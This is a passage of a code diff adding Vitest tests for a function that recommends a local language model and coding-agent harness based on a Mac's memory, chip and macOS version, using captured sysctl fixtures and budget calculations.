expect(free).toBeGreaterThanOrEqual(0); + expect(await freeDiskBytesOf(join(folder, 'missing', 'deeper'))).toBeUndefined(); + }); + + it('never rejects with the real spawn and the real disk read, whatever machine this is', async () => { + // Pretend to be a Mac so the spawn and the disk read really run. On Linux /usr/sbin/sysctl + // either does not exist or knows none of the keys: the answer is then the fallback. + const hw = await readHardware({ platform: 'darwin' }); + expect(['sysctl', 'os-fallback']).toContain(hw.source); + expect(hw.memBytes).toBeGreaterThan(0); + expect(hw.memGb).toMatch(/^\d+(\.\d)?$/); + if (hw.freeDiskBytes !== undefined) { + expect(hw.freeDiskBytes).toBeGreaterThanOrEqual(0); + expect(hw.freeDiskGb).toMatch(/^\d+(\.\d)?$/); + } + }); +}); diff --git a/test/local-model-recommend.test.ts b/test/local-model-recommend.test.ts new file mode 100644 index 00000000..86a2c327 --- /dev/null +++ b/test/local-model-recommend.test.ts @@ -0,0 +1,1298 @@ +/** + * @fileoverview Tests for src/local-model/recommend.ts: the pure function that turns "what this + * Mac is" into "which local model fits it". + * + * Laid out like the module: + * + * 1. The budget (`deviceBudget`) for every memory size Apple sells from 8 to 128 GB, and the + * need of a model at a context (`needBytes`). + * 2. The two REAL Macs of the project, from their captured `sysctl` output through the real + * parser: the MacBook Pro (M5 Pro, 48 GB) and the Mac mini (M4, 16 GB). Each test states the + * expected answer and why. + * 3. Every reason for verdict `none`, one fixture per reason, and their order. + * 4. The `limited` verdict, the three-state speed in the ranking, harness rows (a gated one is + * never chosen), the `tested` flag that alone may turn on the word "Recommended", and the + * shape of the answer (labels from the fixed list, sizes in one unit). + * + * The stock catalogue is used wherever the answer for a real Mac is at stake. Small synthetic + * catalogues (validated by the real schema) isolate one rule of the ranking at a time. + * + * Port: N/A (pure functions; the two hardware fixtures go through `readHardware` with every + * piece of IO injected). + */ + +import { beforeEach, describe, expect, it } from 'vitest'; +import { + getLocalModelCatalog, + LocalModelCatalogSchema, + STOCK_LOCAL_MODEL_CATALOG, +} from '../src/config/local-model-catalog.js'; +import { formatGb, GB, GIB, memClassGb, MIB } from '../src/local-model/format.js'; +import { readHardware, resetHardwareCache } from '../src/local-model/hardware.js'; +import { + deviceBudget, + DISK_HEADROOM_BYTES, + FIT_GOOD_MAX_SHARE, + FIT_TIGHT_MAX_SHARE, + LIMITED_BELOW_PARAMS_B, + MAX_ALTERNATIVES, + needBytes, + recommend, + SLOW_BELOW_TOKENS_PER_SECOND, +} from '../src/local-model/recommend.js'; +import { + LOCAL_MODEL_LABELS, + type Candidate, + type HardwareFacts, + type HarnessFact, + type LocalHarnessEntry, + type LocalModelCatalog, + type LocalModelEntry, + type Recommendation, +} from '../src/types.js'; + +// ---------- Fixtures ---------- + +/** The real probe output of the MacBook Pro (Mac17,13), captured 2026-11-06, extra lines included. */ +const MACBOOK_SYSCTL = `hw.memsize: 51539607552 +machdep.cpu.brand_string: Apple M5 Pro +hw.optional.arm64: 1 +sysctl.proc_translated: 0 +iogpu.wired_limit_mb: 0 +kern.osproductversion: 27.2 +hw.model: Mac17,13 +hw.perflevel0.physicalcpu: 6 +hw.perflevel1.physicalcpu: 12 +exit=0 +/dev/disk3s5 971094180 54383564 890926084 6% 542146 8909260840 0% /System/Volumes/Data +`; + +/** The real probe output of the Mac mini (Mac16,10), captured 2026-11-06, extra lines included. */ +const MACMINI_SYSCTL = `hw.memsize: 17179869184 +machdep.cpu.brand_string: Apple M4 +hw.optional.arm64: 1 +sysctl.proc_translated: 0 +iogpu.wired_limit_mb: 0 +kern.osproductversion: 27.2 +hw.model: Mac16,10 +hw.perflevel0.physicalcpu: 4 +hw.perflevel1.physicalcpu: 6 +exit=0 +/dev/disk3s5 239362496 172954124 41752848 81% 2353838 417528480 1% /System/Volumes/Data +`; + +/** The hardware facts of a real Mac: its captured output through the real parser, no IO. */ +async function realMac(sysctlOutput: string, freeDiskKb: number): Promise { + resetHardwareCache(); + return readHardware({ + platform: 'darwin', + arch: 'arm64', + runSysctl: async () => sysctlOutput, + freeDiskBytes: async () => freeDiskKb * 1024, + totalMemBytes: () => 0, + cpuModel: () => undefined, + now: () => 0, + }); +} + +/** An Apple silicon Mac with `soldGb` of memory, healthy in every other respect. */ +function mac(soldGb: number, chip: string, overrides: Partial = {}): HardwareFacts { + const memBytes = soldGb * GIB; + return { + platform: 'darwin', + arch: 'arm64', + arm64: true, + translated: false, + memBytes, + memGb: formatGb(memBytes), + memClassGb: memClassGb(memBytes), + chip, + model: 'Mac0,0', + macosVersion: '27.2', + macosMajor: 27, + wiredLimitMb: 0, + freeDiskBytes: 500 * GB, + freeDiskGb: '500', + source: 'sysctl', + ...overrides, + }; +} + +/** A copy of `facts` without the given fields (an absent field, not an `undefined` one). */ +function without(facts: HardwareFacts, ...fields: (keyof HardwareFacts)[]): HardwareFacts { + const copy: Record = { ...facts }; + for (const field of fields) delete copy[field]; + return copy as unknown as HardwareFacts; +} + +/** Display labels of the stock harnesses, as the CLI registry would supply them. Data, not a branch. */ +const HARNESS_LABELS: Record = { opencode: 'OpenCode', claude: 'Claude Code', pi: 'Pi' }; + +/** What the server knows about one harness: installed and accepting every model id, unless overridden. */ +function fact(cli: string, overrides: Partial = {}): HarnessFact { + return { + cli, + label: HARNESS_LABELS[cli] ?? cli, + installed: true, + installable: false, + acceptsModelId: () => true, + ...overrides, + }; +} + +const STOCK = getLocalModelCatalog(); + +/** Every stock harness installed, the gated one included. */ +const ALL_INSTALLED: HarnessFact[] = STOCK.harnesses.map((row) => fact(row.cli)); + +/** The stock catalogue with a change applied, validated by the real schema. */ +function stockWith(change: (catalog: LocalModelCatalog) => void): LocalModelCatalog { + const catalog = structuredClone(STOCK_LOCAL_MODEL_CATALOG); + change(catalog); + return LocalModelCatalogSchema.parse(catalog); +} + +/** A model row for a synthetic catalogue: 20 billion parameters, 10 GiB, one small context. */ +function model(id: string, overrides: Partial = {}): LocalModelEntry { + return { + id, + label: id, + license: 'Apache-2.0', + paramsB: 20, + bytes: 10 * GIB, + kvBytesPerToken: 1, + contexts: [1024], + rank: 1, + tested: [], + ...overrides, + }; +} + +/** + * A synthetic catalogue: no prompt cache, one harness `alpha` that works from 1024 tokens, and + * one chip row ('M4 Max' at 400 GB/s, so tokens per second = `speedPer100Gbps` x 4). + */ +function catalogOf(models: LocalModelEntry[], harnesses?: LocalHarnessEntry[]): LocalModelCatalog { + return LocalModelCatalogSchema.parse({ + schema: 1, + updated: '2026-11-06', + minMacosMajor: 14, + promptCacheTiers: [{ minMemGb: 0, bytes: 0 }], + models, + harnesses: harnesses ?? [{ cli: 'alpha', minContext: 1024, rank: 1 }], + chips: [{ match: 'M4 Max', gbps: 400 }], + }); +} + +/** A Mac whose budget is exactly 100 GiB: a wired limit of 101 GiB on a 128 GB machine. */ +const HUNDRED_GIB_MAC = mac(128, 'Apple M4 Max', { wiredLimitMb: 101 * 1024 }); +const HUNDRED_GIB = 100 * GIB; + +/** What a synthetic model needs beside its weights at its 1024-token context: 1 GiB plus the KV cache. */ +const SYNTHETIC_OVERHEAD = GIB + 1024; + +/** A model whose need is exactly `need` bytes in a synthetic catalogue. */ +function modelNeeding(id: string, need: number, overrides: Partial = {}): LocalModelEntry { + return model(id, { bytes: need - SYNTHETIC_OVERHEAD, ...overrides }); +} + +/** `id@context` of the pick and of each alternative, in order. */ +function order(result: Recommendation): string[] { + return [result.pick, ...result.alternatives] + .filter((candidate): candidate is Candidate => candidate !== undefined) + .map((candidate) => `${candidate.modelId}@${candidate.context}`); +} + +/** Every string anywhere in a value. */ +function stringsIn(value: unknown): string[] { + if (typeof value === 'string') return [value]; + if (Array.isArray(value)) return value.flatMap(stringsIn); + if (value && typeof value === 'object') return Object.values(value).flatMap(stringsIn); + return []; +} + +function deepFreeze(value: T): T { + if (value && typeof value === 'object') { + for (const inner of Object.values(value)) deepFreeze(inner); + Object.freeze(value); + } + return value; +} + +/** The Macs the sweeps run over: every memory size, with a slow, a fast and an unknown chip. */ +const SWEEP: HardwareFacts[] = [8, 16, 18, 24, 32, 36, 48, 64, 96, 128].flatMap((soldGb) => + ['Apple M4', 'Apple M4 Max', 'Apple M5 Ultra', 'Apple M6'].map((chip) => mac(soldGb, chip)) +); + +beforeEach(() => { + resetHardwareCache(); +}); + +// ---------- 1. Budget and need ---------- + +describe('deviceBudget', () => { + // Sold size, device limit L and budget B in GiB. L is 2/3 of memory below 36 GB and 3/4 from + // 36 GB; B = min(L - 1, memory - reserve). Only at 8 GB is the reserve the smaller bound. + const TIERS: [soldGb: number, limitGib: number, budgetGib: number][] = [ + [8, 16 / 3, 2], + [16, 32 / 3, 29 / 3], + [18, 12, 11], + [24, 16, 15], + [32, 64 / 3, 61 / 3], + [36, 27, 26], + [48, 36, 35], + [64, 48, 47], + [96, 72, 71], + [128, 96, 95], + ]; + + it.each(TIERS)('gives a %i GB Mac a limit of %f GiB and a budget of %f GiB', (soldGb, limitGib, budgetGib) => { + const budget = deviceBudget(mac(soldGb, 'Apple M4')); + // Whole bytes: a third of a byte is rounded down. + expect(Math.abs(budget.limitBytes - limitGib * GIB)).toBeLessThan(1); + expect(Math.abs(budget.budgetBytes - budgetGib * GIB)).toBeLessThan(1); + expect(Number.isInteger(budget.limitBytes)).toBe(true); + expect(Number.isInteger(budget.budgetBytes)).toBe(true); + expect(budget.source).toBe('estimated'); + }); + + it('matches the rounded budgets of the design table', () => { + const rounded = TIERS.map(([soldGb]) => [ + soldGb, + (deviceBudget(mac(soldGb, 'Apple M4')).budgetBytes / GIB).toFixed(1), + ]); + expect(rounded).toEqual([ + [8, '2.0'], + [16, '9.7'], + [18, '11.0'], + [24, '15.0'], + [32, '20.3'], + [36, '26.0'], + [48, '35.0'], + [64, '47.0'], + [96, '71.0'], + [128, '95.0'], + ]); + }); + + it('keeps a reserve of 6 GiB up to 18 GB, 8 GiB up to 48 GB and 12 GiB from 64 GB', () => { + // A wired limit far above the memory leaves "memory - reserve" as the only bound. + const reserveOf = (soldGb: number): number => { + const budget = deviceBudget(mac(soldGb, 'Apple M4', { wiredLimitMb: 1024 * 1024 })); + return (soldGb * GIB - budget.budgetBytes) / GIB; + }; + expect([8, 16, 18].map(reserveOf)).toEqual([6, 6, 6]); + expect([24, 32, 36, 48].map(reserveOf)).toEqual([8, 8, 8, 8]); + expect([64, 96, 128].map(reserveOf)).toEqual([12, 12, 12]); + }); + + it('uses the wired limit when it is above 0', () => { + // 14000 MiB on the 16 GB Mac: L - 1 GiB is 12.67 GiB, memory - reserve is 10 GiB. + expect(deviceBudget(mac(16, 'Apple M4', { wiredLimitMb: 14000 }))).toEqual({ + limitBytes: 14000 * MIB, + budgetBytes: 10 * GIB, + source: 'wired-limit', + }); + // A limit BELOW the estimate is honoured too: 8192 MiB leaves 7 GiB. + expect(deviceBudget(mac(16, 'Apple M4', { wiredLimitMb: 8192 }))).toEqual({ + limitBytes: 8 * GIB, + budgetBytes: 7 * GIB, + source: 'wired-limit', + }); + }); + + it('reads a wired limit of 0, or none at all, as "not set"', () => { + const estimated = deviceBudget(mac(16, 'Apple M4')); + expect(estimated.source).toBe('estimated'); + expect(deviceBudget(mac(16, 'Apple M4', { wiredLimitMb: 0 }))).toEqual(estimated); + expect(deviceBudget(without(mac(16, 'Apple M4'), 'wiredLimitMb'))).toEqual(estimated); + }); + + it('never goes below 0', () => { + expect(deviceBudget(mac(4, 'Apple M1')).budgetBytes).toBe(0); + expect(deviceBudget(mac(16, 'Apple M4', { wiredLimitMb: 512 })).budgetBytes).toBe(0); + expect(deviceBudget({ ...mac(16, 'Apple M4'), memBytes: 0, memClassGb: 0 })).toEqual({ + limitBytes: 0, + budgetBytes: 0, + source: 'estimated', + }); + }); +}); + +describe('needBytes', () => { + const nineB = STOCK.models.find((m) => m.id === 'qwen3.5:9b') as LocalModelEntry; + + it('adds weights, the KV cache of the context, 1 GiB and the prompt cache', () => { + // 6,550,825,373 + 32768 x 65536 + 1 GiB + 512 MiB on a Mac below 32 GB. + expect(needBytes(nineB, 65536, STOCK, mac(16, 'Apple M4'))).toBe(6_550_825_373 + 2 * GIB + GIB + 512 * MIB); + expect(needBytes(nineB, 65536, STOCK, mac(16, 'Apple M4'))).toBe(10_308_921_757); + // Half the context, half the KV cache. + expect(needBytes(nineB, 32768, STOCK, mac(16, 'Apple M4'))).toBe(6_550_825_373 + GIB + GIB + 512 * MIB); + }); + + it('counts a prompt cache of 512 MiB below 32 GB of memory and 2 GiB from 32 GB', () => { + const base = 6_550_825_373 + 2 * GIB + GIB; + for (const soldGb of [8, 16, 18, 24]) { + expect(needBytes(nineB, 65536, STOCK, mac(soldGb, 'Apple M4')) - base, `${soldGb} GB`).toBe(512 * MIB); + } + for (const soldGb of [32, 36, 48, 64, 96, 128]) { + expect(needBytes(nineB, 65536, STOCK, mac(soldGb, 'Apple M4')) - base, `${soldGb} GB`).toBe(2 * GIB); + } + }); + + it('does not depend on the chip or the harness', () => { + expect(needBytes(nineB, 65536, STOCK, mac(48, 'Apple M1'))).toBe( + needBytes(nineB, 65536, STOCK, mac(48, 'Apple M5 Ultra')) + ); + }); +}); + +describe('the fit grade', () => { + const pickOf = (need: number): Candidate | undefined => + recommend(HUNDRED_GIB_MAC, catalogOf([modelNeeding('probe:1', need)]), [fact('alpha')]).pick; + + it('has the budget this group assumes', () => { + expect(deviceBudget(HUNDRED_GIB_MAC).budgetBytes).toBe(HUNDRED_GIB); + expect(FIT_GOOD_MAX_SHARE).toBe(0.85); + expect(FIT_TIGHT_MAX_SHARE).toBe(0.98); + }); + + it('is good up to 0.85 of the budget', () => { + expect(pickOf(0.5 * HUNDRED_GIB)).toMatchObject({ fit: 'good', fitLabel: 'Good', budgetShare: 0.5 }); + expect(pickOf(0.85 * HUNDRED_GIB)).toMatchObject({ fit: 'good', budgetShare: 0.85 }); + }); + + it('is tight above 0.85 and up to 0.98', () => { + expect(pickOf(0.85 * HUNDRED_GIB + 1)).toMatchObject({ fit: 'tight', fitLabel: 'Tight' }); + expect(pickOf(0.9 * HUNDRED_GIB)).toMatchObject({ fit: 'tight', budgetShare: 0.9 }); + expect(pickOf(0.98 * HUNDRED_GIB)).toMatchObject({ fit: 'tight', budgetShare: 0.98 }); + }); + + it('is out above 0.98: the model is not offered at all', () => { + const result = recommend(HUNDRED_GIB_MAC, catalogOf([modelNeeding('probe:1', 0.98 * HUNDRED_GIB + 1)]), [ + fact('alpha'), + ]); + expect(result.verdict).toBe('none'); + expect(result.reason).toBe('memory'); + expect(result.pick).toBeUndefined(); + }); +}); + +// ---------- 2. The two real Macs ---------- + +describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => { + /** + * Expected: Qwen3.6 35B-A3B at 131,072 tokens with OpenCode, Good, about 42 tokens per second. + * + * Why. The budget is 35 GiB (3/4 of 48 GiB minus 1). Five models fit it as Good. The M5 Pro is + * in the chips table (307 GB/s), so each model with a speed figure gets an estimate: + * the dense 27B computes to 2.95 x 3.07 = 9.1 tokens per second, under the 10 that separate + * slow from ok, while the 35B-A3B (3 billion parameters active per token) computes to 41.8. + * Speed ranks before model rank, so the 35B-A3B wins although the 27B has the higher rank. The + * 27B stays in the list, last, marked Slow. Both harnesses can run it; OpenCode has the + * higher rank. + */ + it('gets Qwen3.6 35B-A3B at 131072 tokens with OpenCode', async () => { + const hw = await realMac(MACBOOK_SYSCTL, 890_926_084); + expect(hw.chip).toBe('Apple M5 Pro'); + expect(hw.memClassGb).toBe(48); + + const result = recommend(hw, STOCK, ALL_INSTALLED); + + expect(result.verdict).toBe('ok'); + expect(result.reason).toBeUndefined(); + expect(result.budgetBytes).toBe(35 * GIB); + expect(result.budgetGb).toBe('37.6'); + expect(result.budgetSource).toBe('estimated'); + expect(result.pick).toEqual({ + modelId: 'qwen3.6:35b-a3b', + modelLabel: 'Qwen3.6 35B-A3B', + license: 'Apache-2.0', + paramsB: 35, + context: 131072, + cli: 'opencode', + cliLabel: 'OpenCode', + cliInstalled: true, + // 22,621,314,161 + 20480 x 131072 + 1 GiB + 2 GiB. + needBytes: 28_526_894_193, + needGb: '28.5', + downloadBytes: 22_621_314_161, + downloadGb: '22.6', + budgetShare: 0.759, + fit: 'good', + fitLabel: 'Good', + speed: 'ok', + tokensPerSecond: 41.8, + tested: false, + }); + }); + + it('says "Best fit", not "Recommended", and that nobody tested it on such a Mac', async () => { + const result = recommend(await realMac(MACBOOK_SYSCTL, 890_926_084), STOCK, ALL_INSTALLED); + expect(result.headline).toEqual({ text: 'Best fit for this Mac' }); + expect(result.notes).toEqual([{ text: 'Not yet tested by us on a Mac like this.' }]); + expect(stringsIn(result).join(' ')).not.toMatch(/recommended/i); + }); + + it('lists the other four models that fit: the fast ones, the one of unknown speed, the slow one', async () => { + const result = recommend(await realMac(MACBOOK_SYSCTL, 890_926_084), STOCK, ALL_INSTALLED); + expect(result.alternatives.map((c) => [c.modelId, c.context, c.fit, c.speed, c.tokensPerSecond ?? null])).toEqual([ + ['qwen3.5:9b-q8_0', 65536, 'good', 'ok', 17.8], + ['qwen3.5:9b', 65536, 'good', 'ok', 28.6], + ['gpt-oss:20b', 131072, 'good', 'unknown', null], + ['qwen3.8:27b', 131072, 'good', 'slow', 9.1], + ]); + expect(result.alternatives[2].speedLabel).toBe('Speed unknown'); + expect(result.alternatives[3].speedLabel).toBe('Slow'); + // The two that do not fit 35 GiB at any context are not listed. + expect(order(result)).not.toContain('qwen3.8:27b-q8_0@131072'); + expect(order(result).some((entry) => entry.startsWith('qwen3.5:122b'))).toBe(false); + }); + + it('would get the 27B instead if its chip were in no chips row', async () => { + // The same Mac with the M5 Pro row removed: every speed is unknown, so model rank decides. + const hw = await realMac(MACBOOK_SYSCTL, 890_926_084); + const withoutChip = stockWith((catalog) => { + catalog.chips = catalog.chips.filter((row) => row.match !== 'M5 Pro'); + }); + const result = recommend(hw, withoutChip, ALL_INSTALLED); + expect(result.pick).toMatchObject({ modelId: 'qwen3.8:27b', context: 131072, speed: 'unknown' }); + expect(result.pick).not.toHaveProperty('tokensPerSecond'); + }); +}); + +describe('the Mac mini (Mac16,10: Apple M4, 16 GB)', () => { + /** + * Expected: no recommendation, reason `memory`. + * + * Why. The budget is 9.67 GiB (2/3 of 16 GiB minus 1). The only model near it is the 9B. Both + * harnesses that may be offered need 65,536 tokens of context, and there the 9B needs + * 6.10 GiB of weights + 2 GiB of KV cache + 1 GiB + 0.5 GiB of prompt cache = 9.60 GiB, which + * is 0.993 of the budget: above the 0.98 where "tight" ends. At 32,768 tokens it would fit + * (0.890, tight), but the one harness that works at that context is gated. + */ + it('gets no recommendation: nothing fits at the context a harness needs', async () => { + const hw = await realMac(MACMINI_SYSCTL, 41_752_848); + expect(hw.chip).toBe('Apple M4'); + expect(hw.memClassGb).toBe(16); + + const result = recommend(hw, STOCK, ALL_INSTALLED); + + expect(result).toEqual({ + verdict: 'none', + reason: 'memory', + headline: { + text: 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + vars: { memory: '17.2' }, + }, + notes: [], + alternatives: [], + // floor(17,179,869,184 x 2/3) - 1 GiB. + budgetBytes: 10_379_504_298, + budgetGb: '10.4', + budgetSource: 'estimated', + }); + }); + + it('misses by a hair at 65536 tokens and would fit at 32768', async () => { + const hw = await realMac(MACMINI_SYSCTL, 41_752_848); + const nineB = STOCK.models.find((m) => m.id === 'qwen3.5:9b') as LocalModelEntry; + const budget = deviceBudget(hw).budgetBytes; + const shareAt64k = needBytes(nineB, 65536, STOCK, hw) / budget; + const shareAt32k = needBytes(nineB, 32768, STOCK, hw) / budget; + expect(shareAt64k).toBeCloseTo(0.9932, 4); + expect(shareAt64k).toBeGreaterThan(FIT_TIGHT_MAX_SHARE); + expect(shareAt32k).toBeCloseTo(0.8898, 4); + expect(shareAt32k).toBeLessThan(FIT_TIGHT_MAX_SHARE); + // Every other model needs more than the whole budget at its smallest context. + for (const other of STOCK.models.filter((m) => m.id !== 'qwen3.5:9b')) { + const smallest = other.contexts[other.contexts.length - 1]; + expect(needBytes(other, smallest, STOCK, hw), other.id).toBeGreaterThan(budget); + } + }); + + it('would get the 9B at 32768 tokens, as a limited answer, once the gated harness is opened', async () => { + const hw = await realMac(MACMINI_SYSCTL, 41_752_848); + const ungated = stockWith((catalog) => { + catalog.harnesses = catalog.harnesses.map((row) => ({ + cli: row.cli, + minContext: row.minContext, + rank: row.rank, + })); + }); + const result = recommend(hw, ungated, ALL_INSTALLED); + expect(result.verdict).toBe('limited'); + expect(result.pick).toMatchObject({ + modelId: 'qwen3.5:9b', + context: 32768, + cli: 'pi', + fit: 'tight', + budgetShare: 0.89, + speed: 'ok', + // 9.3 x 1.2. + tokensPerSecond: 11.2, + }); + }); + + it('would get the 9B at 65536 tokens if a wired limit had been set on it', async () => { + // iogpu.wired_limit_mb = 14000 lifts the budget to 10 GiB (memory minus the 6 GiB reserve). + const hw = { ...(await realMac(MACMINI_SYSCTL, 41_752_848)), wiredLimitMb: 14000 }; + const result = recommend(hw, STOCK, ALL_INSTALLED); + expect(result.verdict).toBe('limited'); + expect(result.budgetSource).toBe('wired-limit'); + expect(result.budgetBytes).toBe(10 * GIB); + expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b', context: 65536, cli: 'opencode', fit: 'tight' }); + }); +}); + +describe('every memory size, with the stock catalogue', () => { + // What the rules compute today. A change of a catalogue figure or of a threshold that moves + // one of these answers has to change this table on purpose. + const EXPECTED: [soldGb: number, chip: string, answer: string][] = [ + [8, 'Apple M2', 'none memory'], + [16, 'Apple M4', 'none memory'], + // The 9B at 65536 tokens is 0.87 of 11 GiB. + [18, 'Apple M3 Pro', 'limited qwen3.5:9b@65536 tight ok'], + // gpt-oss:20b at 65536 tokens needs 15.8 GiB of the 15 GiB budget: out. + [24, 'Apple M4', 'limited qwen3.5:9b@65536 good ok'], + // gpt-oss:20b fits only as Tight here (0.853 at 65536 tokens, 0.927 at 131072), and Good + // ranks before Tight. The Q8 9B is Good but slow on a base M4 (7 tokens per second). + [32, 'Apple M4', 'limited qwen3.5:9b@65536 good ok'], + [32, 'Apple M1 Max', 'limited qwen3.5:9b-q8_0@65536 good ok'], + // The 27B (0.905) and the 35B-A3B (0.974) are Tight; gpt-oss:20b is Good but has no speed + // figure, and a known speed ranks before an unknown one. + [36, 'Apple M4 Max', 'limited qwen3.5:9b-q8_0@65536 good ok'], + // On a Pro chip the dense 27B is slow (8.1 tokens per second), the 35B-A3B is not. + [48, 'Apple M4 Pro', 'ok qwen3.6:35b-a3b@131072 good ok'], + [48, 'Apple M4 Max', 'ok qwen3.8:27b@131072 good ok'], + // The Q8 27B fits 47 GiB but computes to 7 tokens per second on this chip. + [64, 'Apple M4 Max', 'ok qwen3.8:27b@131072 good ok'], + [96, 'Apple M3 Ultra', 'ok qwen3.8:27b-q8_0@262144 good ok'], + // The 122B fits 95 GiB only as Tight (0.861) and has no speed figure. + [128, 'Apple M5 Ultra', 'ok qwen3.8:27b-q8_0@262144 good ok'], + ]; + + it.each(EXPECTED)('%i GB, %s: %s', (soldGb, chip, answer) => { + const result = recommend(mac(soldGb, chip), STOCK, ALL_INSTALLED); + const actual = result.pick + ? `${result.verdict} ${result.pick.modelId}@${result.pick.context} ${result.pick.fit} ${result.pick.speed}` + : `${result.verdict} ${result.reason}`; + expect(actual).toBe(answer); + }); + + it('always pairs the pick with the top-ranked harness, OpenCode', () => { + for (const hw of SWEEP) { + const result = recommend(hw, STOCK, ALL_INSTALLED); + if (result.pick) expect(result.pick.cli).toBe('opencode'); + } + }); +}); + +// ---------- 3. Verdict none ---------- + +describe('verdict none', () => { + const bigMac = mac(48, 'Apple M4 Max'); + + /** A `none` answer has no pick, no alternatives, no notes, and the reason's sentence as headline. */ + function expectNone(result: Recommendation, reason: Recommendation['reason'], headline: string): void { + expect(result.verdict).toBe('none'); + expect(result.reason).toBe(reason); + expect(result.headline.text).toBe(headline); + expect(result.pick).toBeUndefined(); + expect(result.alternatives).toEqual([]); + expect(result.notes).toEqual([]); + } + + describe('not-macos', () => { + it('answers so on Linux, with no budget at all', () => { + const linux: HardwareFacts = { + platform: 'linux', + arch: 'x64', + memBytes: 64 * GIB, + memGb: formatGb(64 * GIB), + memClassGb: 64, + source: 'not-probed', + }; + const result = recommend(linux, STOCK, ALL_INSTALLED); + expectNone(result, 'not-macos', LOCAL_MODEL_LABELS.noneNotMacos); + expect(result.headline.vars).toBeUndefined(); + expect(result.budgetBytes).toBe(0); + expect(result.budgetGb).toBe('0.0'); + expect(result.budgetSource).toBe('estimated'); + }); + + it('comes before every other reason', () => { + for (const platform of ['linux', 'win32', 'freebsd']) { + const hw = mac(8, 'Intel(R) Core(TM) i7', { platform, arch: 'x64', arm64: false, macosMajor: 12 }); + expect(recommend(hw, STOCK, []).reason, platform).toBe('not-macos'); + } + }); + }); + + describe('intel', () => { + const intelChip = 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz'; + + it('answers so for an Intel Mac, whose sysctl has no arm64 flag', () => { + const hw = without(mac(32, intelChip, { arch: 'x64' }), 'arm64', 'translated', 'wiredLimitMb'); + const result = recommend(hw, STOCK, ALL_INSTALLED); + expectNone(result, 'intel', 'This Mac has an Intel processor. Local coding models need Apple silicon.'); + expect(result.budgetBytes).toBe(0); + expect(result.budgetGb).toBe('0.0'); + }); + + it('answers so when the arm64 flag reads 0', () => { + const hw = without(mac(32, intelChip, { arch: 'x64', arm64: false }), 'translated'); + expect(recommend(hw, STOCK, ALL_INSTALLED).reason).toBe('intel'); + }); + + it('comes before the macOS version and the memory', () => { + const hw = without(mac(8, intelChip, { arch: 'x64', macosMajor: 12, macosVersion: '12.7' }), 'arm64'); + expect(recommend(hw, STOCK, []).reason).toBe('intel'); + }); + + it('does not mistake Node under Rosetta for an Intel Mac', () => { + // An x64 process on Apple silicon: the machine flag says arm64, the process is translated. + const rosetta = mac(48, 'Apple M4 Max', { arch: 'x64', translated: true }); + expect(recommend(rosetta, STOCK, ALL_INSTALLED).verdict).toBe('ok'); + // The same when only the translation flag was read. + expect(recommend(without(rosetta, 'arm64'), STOCK, ALL_INSTALLED).verdict).toBe('ok'); + }); + + it('decides from node:os alone when the probe failed', () => { + const fallback = (arch: string, chip: string): HardwareFacts => ({ + platform: 'darwin', + arch, + memBytes: 48 * GIB, + memGb: formatGb(48 * GIB), + memClassGb: 48, + chip, + source: 'os-fallback', + }); + // An arm64 process can only run on Apple silicon. + expect(recommend(fallback('arm64', 'Apple M4 Max'), STOCK, ALL_INSTALLED).verdict).toBe('ok'); + // An x64 process with an Apple chip name is Rosetta. + expect(recommend(fallback('x64', 'Apple M4 Max'), STOCK, ALL_INSTALLED).verdict).toBe('ok'); + // An x64 process with any other chip name is taken for an Intel Mac. + expect(recommend(fallback('x64', intelChip), STOCK, ALL_INSTALLED).reason).toBe('intel'); + expect(recommend(without(fallback('x64', intelChip), 'chip'), STOCK, ALL_INSTALLED).reason).toBe('intel'); + }); + }); + + describe('macos', () => { + it('answers so below the catalogue minimum, naming both versions', () => { + const result = recommend( + mac(48, 'Apple M1 Max', { macosVersion: '13.6.7', macosMajor: 13 }), + STOCK, + ALL_INSTALLED + ); + expectNone(result, 'macos', 'This Mac runs macOS {version}. Local models need macOS {minimum} or newer.'); + expect(result.headline.vars).toEqual({ version: '13.6.7', minimum: '14' }); + // The budget is still reported: the Mac itself is able. + expect(result.budgetBytes).toBe(35 * GIB); + }); + + it('accepts the minimum itself and anything newer', () => { + for (const macosMajor of [14, 15, 26, 27]) { + const hw = mac(48, 'Apple M4 Max', { macosMajor, macosVersion: `${macosMajor}.0` }); + expect(recommend(hw, STOCK, ALL_INSTALLED).verdict, String(macosMajor)).toBe('ok'); + } + }); + + it('does not block on a version that could not be read', () => { + const hw = without(mac(48, 'Apple M4 Max'), 'macosMajor', 'macosVersion'); + expect(recommend(hw, STOCK, ALL_INSTALLED).verdict).toBe('ok'); + }); + + it('comes before the memory', () => { + const hw = mac(8, 'Apple M1', { macosVersion: '12.7', macosMajor: 12 }); + expect(recommend(hw, STOCK, ALL_INSTALLED).reason).toBe('macos'); + }); + }); + + describe('memory', () => { + it('answers so at 8 GB, where nothing fits at any context', () => { + const result = recommend(mac(8, 'Apple M2'), STOCK, ALL_INSTALLED); + expectNone(result, 'memory', LOCAL_MODEL_LABELS.noneMemory); + // The size is the decimal figure of the hardware line, without the unit. + expect(result.headline.vars).toEqual({ memory: '8.6' }); + expect(result.budgetBytes).toBe(2 * GIB); + expect(result.budgetGb).toBe('2.1'); + }); + + it('answers so when models fit, but only below the context a harness needs', () => { + // The 16 GB case of the Mac mini, with harnesses that are all present. + const result = recommend(mac(16, 'Apple M4'), STOCK, ALL_INSTALLED); + expect(result.reason).toBe('memory'); + expect(result.headline.vars).toEqual({ memory: '17.2' }); + }); + + it('comes before no-harness when nothing fits at all', () => { + expect(recommend(mac(8, 'Apple M2'), STOCK, []).reason).toBe('memory'); + }); + + it('answers so for an empty catalogue', () => { + expect(recommend(bigMac, catalogOf([]), [fact('alpha')]).reason).toBe('memory'); + }); + + it('answers so when the memory size is unknown', () => { + const hw = { ...mac(48, 'Apple M4 Max'), memBytes: 0, memGb: '0.0', memClassGb: 0 }; + const result = recommend(hw, STOCK, ALL_INSTALLED); + expect(result.reason).toBe('memory'); + expect(result.budgetBytes).toBe(0); + }); + }); + + describe('no-harness', () => { + const headline = 'No coding agent that Codeman can connect to a local model is available on this Mac.'; + + it('answers so when the caller knows no catalogue harness', () => { + const result = recommend(bigMac, STOCK, []); + expectNone(result, 'no-harness', headline); + expect(result.headline.vars).toBeUndefined(); + expect(result.budgetBytes).toBe(35 * GIB); + }); + + it('answers so when no harness is installed or installable', () => { + const facts = STOCK.harnesses.map((row) => fact(row.cli, { installed: false, 